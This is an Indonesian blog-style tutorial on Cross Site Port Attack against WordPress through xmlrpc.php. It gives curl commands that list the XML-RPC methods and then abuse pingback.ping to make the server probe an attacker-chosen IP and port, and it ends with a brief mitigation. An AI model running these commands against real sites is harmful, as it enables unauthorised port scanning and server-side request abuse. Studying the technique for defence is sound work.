Di post kali ini, saya akan memberitahu cara melakukan XSPA atau yang biasa dikenal dengan Cross Site Port Attack melalui xmlrpc.php. Sebelum itu mari berkenalan dengan XSPA dan xmlrpc di wordpress

Cross Site Port Attack (XSPA) adalah vulnerability yang memungkinkan penyerang untuk mengambil status port TCP melalui Internet atau sistem internal dengan menyalahgunakan fitur dalam aplikasi web yang membuat permintaan HTTP menggunakan URL yang disediakan penyerang.

Sedangkan XML-RPC adalah fitur WordPress yang memungkinkan data agar dapat ditransmisikan, di mana HTTP berperan sebagai transport dan XML sebagai encoding. Karena WordPress bukanlah sistem yang self-enclosed dan terkadang harus berkomunikasi dengan sistem lainnya, maka fitur ini sering digunakan.

Tetapi, saat ini ada beberapa masalah yang terjadi ketika XML-RPC berjalan di WordPress, seperti pelaku penyerang yang memanfaatkan file ini untuk melakukan bruteforce atau XSPA

Tanpa basa-basi lagi, berikut cara melakukan serangan XSPA melalui xmlrpc.php

  1. List semua method yang ada pada xmlrpc.php

Bisa dengan menggunakan CURL command

curl -d "<methodCall> <methodName>system.listMethods</methodName>   <params></params> </methodCall> " https://example.com/xmlrpc.php

Jika sudah, maka akan keluar seperti ini

<?xml version"1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>
<value><string> system.listMethods</string></value> 
<value><string> system.getCapabilities</string></value> 
<value><string> demo.addTwoNumbers</string></value> 
<value><string> demo.sayHello</string></value> 
<value><string> pingback.extensions.getPingbacks</string></value> 
<value><string> pingback.ping</string></value> 
..........

Kemudian fokus pada “pingback.ping” dan buat request baru dengan CURL dengan POST data, seperti dibawah ini

curl -d "<methodCall> <methodName>pingback.ping</methodName>  <params><param> <value><string>http://yourip:port</string></value> </param><param><value><string>https://example.com ></string> </value></param></params>
</methodCall>" https://example.com/xmlrpc.php

Nah yourip dapet darimana? bisa dengan membuka CMD dan mengetik “ipconfig” kemudian tertera IP mu dan port pada umumnya 80

Jika Berhasil
Jika Gagal

Gagal bisa disebabkan karena xmlrpc.php sudah di nonaktifkan oleh admin

Jika angka faultCode lebih dari 0 semisal 17 maka berarti terdapat port yang masih terbuka

Cara Mendisable xmlrpc.php

Dengan menginstall Disable XML-RPC by Philip Erb